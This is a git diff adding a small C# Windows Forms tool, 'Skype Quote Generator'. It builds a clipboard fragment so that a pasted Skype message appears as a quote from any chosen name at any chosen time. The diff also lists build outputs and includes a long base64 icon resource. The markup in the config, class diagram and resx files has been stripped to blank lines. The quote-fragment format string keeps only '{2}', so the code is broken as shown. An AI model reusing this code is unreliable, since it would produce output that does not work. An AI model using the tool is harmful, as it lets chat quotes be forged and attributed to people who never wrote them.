+C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.csprojResolveAssemblyReference.cache +C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\Interop.SKYPE4COMLib.dll +C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.csproj.ResolveComReference.cache +C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.Main.resources +C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.Properties.Resources.resources +C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.csproj.GenerateResource.Cache +C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.exe +C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.pdb +C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\bin\Debug\SKClean.exe.config +C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\bin\Debug\SKClean.exe +C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\bin\Debug\SKClean.pdb +C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.csprojResolveAssemblyReference.cache +C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\Interop.SKYPE4COMLib.dll +C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.csproj.ResolveComReference.cache +C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.Main.resources +C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.Properties.Resources.resources +C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.csproj.GenerateResource.Cache +C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.exe +C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.pdb diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.GenerateResource.Cache b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.GenerateResource.Cache new file mode 100644 index 0000000..b990346 Binary files /dev/null and b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.GenerateResource.Cache differ diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.ResolveComReference.cache b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.ResolveComReference.cache new file mode 100644 index 0000000..d3fefc1 Binary files /dev/null and b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.ResolveComReference.cache differ diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csprojResolveAssemblyReference.cache b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csprojResolveAssemblyReference.cache new file mode 100644 index 0000000..a3c7f20 Binary files /dev/null and b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csprojResolveAssemblyReference.cache differ diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.exe b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.exe new file mode 100644 index 0000000..83b12fc Binary files /dev/null and b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.exe differ diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.pdb b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.pdb new file mode 100644 index 0000000..667e94d Binary files /dev/null and b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.pdb differ diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs b/c#/SKClean/SKClean/SKClean/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs new file mode 100644 index 0000000..e69de29 diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs b/c#/SKClean/SKClean/SKClean/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs new file mode 100644 index 0000000..e69de29 diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs b/c#/SKClean/SKClean/SKClean/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs new file mode 100644 index 0000000..e69de29 diff --git a/c#/Skype Quote Generator/Skype Quote Generator.exe b/c#/Skype Quote Generator/Skype Quote Generator.exe new file mode 100644 index 0000000..ea2f132 Binary files /dev/null and b/c#/Skype Quote Generator/Skype Quote Generator.exe differ diff --git a/c#/Skype Quote Generator/Source/.vs/SkypeQuote/v14/.suo b/c#/Skype Quote Generator/Source/.vs/SkypeQuote/v14/.suo new file mode 100644 index 0000000..5112e74 Binary files /dev/null and b/c#/Skype Quote Generator/Source/.vs/SkypeQuote/v14/.suo differ diff --git a/c#/Skype Quote Generator/Source/SkypeQuote.sln b/c#/Skype Quote Generator/Source/SkypeQuote.sln new file mode 100644 index 0000000..3bce1a2 --- /dev/null +++ b/c#/Skype Quote Generator/Source/SkypeQuote.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 14 +VisualStudioVersion = 14.0.23107.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SkypeQuote", "SkypeQuote\SkypeQuote.csproj", "{D1F9E552-3450-4593-A23F-AC68B5F0FEF9}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {D1F9E552-3450-4593-A23F-AC68B5F0FEF9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {D1F9E552-3450-4593-A23F-AC68B5F0FEF9}.Debug|Any CPU.Build.0 = Debug|Any CPU + {D1F9E552-3450-4593-A23F-AC68B5F0FEF9}.Release|Any CPU.ActiveCfg = Release|Any CPU + {D1F9E552-3450-4593-A23F-AC68B5F0FEF9}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/App.config b/c#/Skype Quote Generator/Source/SkypeQuote/App.config new file mode 100644 index 0000000..77ed642 --- /dev/null +++ b/c#/Skype Quote Generator/Source/SkypeQuote/App.config @@ -0,0 +1,6 @@ + + + + + + diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/ClassDiagram1.cd b/c#/Skype Quote Generator/Source/SkypeQuote/ClassDiagram1.cd new file mode 100644 index 0000000..77a8b74 --- /dev/null +++ b/c#/Skype Quote Generator/Source/SkypeQuote/ClassDiagram1.cd @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Main.Designer.cs b/c#/Skype Quote Generator/Source/SkypeQuote/Main.Designer.cs new file mode 100644 index 0000000..8f7ac21 --- /dev/null +++ b/c#/Skype Quote Generator/Source/SkypeQuote/Main.Designer.cs @@ -0,0 +1,152 @@ +namespace SkypeQuote +{ + partial class Main + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Main)); + this.NameBox = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.TimeBox = new System.Windows.Forms.TextBox(); + this.MessageBox = new System.Windows.Forms.TextBox(); + this.label3 = new System.Windows.Forms.Label(); + this.CopyButton = new System.Windows.Forms.Button(); + this.NowButton = new System.Windows.Forms.Button(); + this.SuspendLayout(); + // + // NameBox + // + this.NameBox.Location = new System.Drawing.Point(79, 10); + this.NameBox.Name = "NameBox"; + this.NameBox.Size = new System.Drawing.Size(158, 20); + this.NameBox.TabIndex = 0; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(13, 13); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(38, 13); + this.label1.TabIndex = 1; + this.label1.Text = "Name:"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(12, 39); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(61, 13); + this.label2.TabIndex = 2; + this.label2.Text = "Timestamp:"; + // + // TimeBox + // + this.TimeBox.Location = new System.Drawing.Point(79, 38); + this.TimeBox.Name = "TimeBox"; + this.TimeBox.Size = new System.Drawing.Size(114, 20); + this.TimeBox.TabIndex = 3; + // + // MessageBox + // + this.MessageBox.Location = new System.Drawing.Point(79, 65); + this.MessageBox.Multiline = true; + this.MessageBox.Name = "MessageBox"; + this.MessageBox.Size = new System.Drawing.Size(158, 69); + this.MessageBox.TabIndex = 4; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(12, 68); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(53, 13); + this.label3.TabIndex = 5; + this.label3.Text = "Message:"; + // + // CopyButton + // + this.CopyButton.Location = new System.Drawing.Point(12, 140); + this.CopyButton.Name = "CopyButton"; + this.CopyButton.Size = new System.Drawing.Size(225, 23); + this.CopyButton.TabIndex = 6; + this.CopyButton.Text = "Copy To Clipboard"; + this.CopyButton.UseVisualStyleBackColor = true; + this.CopyButton.Click += new System.EventHandler(this.CopyButton_Click); + // + // NowButton + // + this.NowButton.Location = new System.Drawing.Point(199, 36); + this.NowButton.Name = "NowButton"; + this.NowButton.Size = new System.Drawing.Size(38, 23); + this.NowButton.TabIndex = 7; + this.NowButton.Text = "Now"; + this.NowButton.UseVisualStyleBackColor = true; + this.NowButton.Click += new System.EventHandler(this.NowButton_Click); + // + // Main + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(249, 170); + this.Controls.Add(this.NowButton); + this.Controls.Add(this.CopyButton); + this.Controls.Add(this.label3); + this.Controls.Add(this.MessageBox); + this.Controls.Add(this.TimeBox); + this.Controls.Add(this.label2); + this.Controls.Add(this.label1); + this.Controls.Add(this.NameBox); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximizeBox = false; + this.MaximumSize = new System.Drawing.Size(265, 209); + this.MinimizeBox = false; + this.MinimumSize = new System.Drawing.Size(265, 209); + this.Name = "Main"; + this.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Hide; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Skype Quote Generator"; + this.Load += new System.EventHandler(this.Main_Load); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.TextBox NameBox; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.TextBox TimeBox; + private System.Windows.Forms.TextBox MessageBox; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.Button CopyButton; + private System.Windows.Forms.Button NowButton; + } +} + diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Main.cs b/c#/Skype Quote Generator/Source/SkypeQuote/Main.cs new file mode 100644 index 0000000..c76543a --- /dev/null +++ b/c#/Skype Quote Generator/Source/SkypeQuote/Main.cs @@ -0,0 +1,44 @@ +using System; +using System.Globalization; +using System.IO; +using System.Text; +using System.Windows.Forms; + + +namespace SkypeQuote { + public partial class Main : Form { + private static readonly DateTime LinuxTime = new DateTime(1970, 1, 1, 0, 0, 0, 0, DateTimeKind.Utc); + + public Main() { + InitializeComponent(); + } + + private void Main_Load(object sender, EventArgs e) { + this.TimeBox.Text = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss"); + } + + private void NowButton_Click(object sender, EventArgs e) { + this.TimeBox.Text = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss"); + } + + private void CopyButton_Click(object sender, EventArgs e) { + Clipboard.SetText(" "); + DateTime dateTime; + if (!DateTime.TryParse(this.TimeBox.Text, out dateTime)) { + System.Windows.Forms.MessageBox.Show("Invalid timestamp format!"); + return; + } + string user = this.NameBox.Text; + string message = this.MessageBox.Text; + string skypeMessageFragment = String.Format("{2}", user, (dateTime.ToUniversalTime() - LinuxTime).TotalSeconds, message); + IDataObject dataObject = new DataObject(); + dataObject.SetData("System.String", message); + dataObject.SetData("Text", message); + dataObject.SetData("UnicodeText", message); + dataObject.SetData("OEMText", message); + dataObject.SetData("SkypeMessageFragment", new MemoryStream(Encoding.UTF8.GetBytes(skypeMessageFragment))); + dataObject.SetData("Locale", new MemoryStream(BitConverter.GetBytes(CultureInfo.CurrentCulture.LCID))); + Clipboard.SetDataObject(dataObject); + } + } +} diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Main.resx b/c#/Skype Quote Generator/Source/SkypeQuote/Main.resx new file mode 100644 index 0000000..bf5cb09 --- /dev/null +++ b/c#/Skype Quote Generator/Source/SkypeQuote/Main.resx @@ -0,0 +1,1253 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAgIAAAAEAIAAoCAEAFgAAACgAAACAAAAAAAEAAAEAIAAAAAAAAAABABILAAASCwAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACngyMQwZAMK8KTEUK1ihZQtYoWULSKFlC3jyFIyJQIN7OJ + Fx2afzUDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwiSEMwJQgTLuTKYrKlw+91ZwE69yh + Av/gpAH/4aQB/+epAP/pqgD/6KoA/+SmAf/hpAH/4KMB/9ieA/nNmAnRxJIOoMeUDWi4jyEiAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALGP + NAu8mDReypgTttugBPjlpwH/7KwB//CxBv/wtBD/7rMT/+atFP/jqxT/46sT/+OrE//jqxP/5KsU/+et + FP/vtBP/8LIM//CwBP/urQD/56kA/9+jAv/QmgrWxZUSgreUNicAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAACkgSIUuosQJMSRCjDLlgc+zJcGQMyXBkDLlgc+xJEKMLqLECSkgSIUAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAALSPKyHEmimQ2KAG8eaoAv/vsAX/7rIS/+CpFf/dpxT/3aUO/9yi + Bf/hpQD/5qgB/+qrAP/wrwD/8K8A//CvAP/pqgH/5acB/+CjAf/dowj/3aYQ/92nFf/jqxT/8LMQ//Cv + A//qqwD/4KQD/s2ZDr7FmSRMq6KKAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAr4geFcKSD0bLlgdywpEOnMqXDsDSmwbg2J0C+t2iAf/gpAH/4KMB/+Cj + Af/gowH/4KMB/+CjAf/gowH/4KQB/92iAf/YnQL60psG4MqXDcDCkQ6eyJQGcrOIE0y6jxqb3aIE++ys + A//ushH/36gV/92lEP/fowL/7KwA//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv + AP/wrwD/8K8A//CvAP/wrwD/8K8A/+mqAf/dowX/3KYS/+KrFf/wsgz/7q4B/+WoAv/SnxPOwZ07SwAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALaMHhrDlhlexJQSoM+ZCtvcoQL/46UB/+mq + AP/urQD/8K8A//CvA//wsAb/8LIK//GzD//xtBH/8bQS//G1E//xtBL/8bQS//G0EP/wsgz/8LEG//Cw + BP/wrwD/8K8A/+6tAP/oqQD/46UA/+usA//rsBP/3KYU/96jBf/trQD/8K8A//CvAP/wrwD/8K8A//Cv + AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv + AP/wrwD/6aoB/9yjCv/eqBX/77IP/++vAf/jpgP/z58euLyZPCMAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 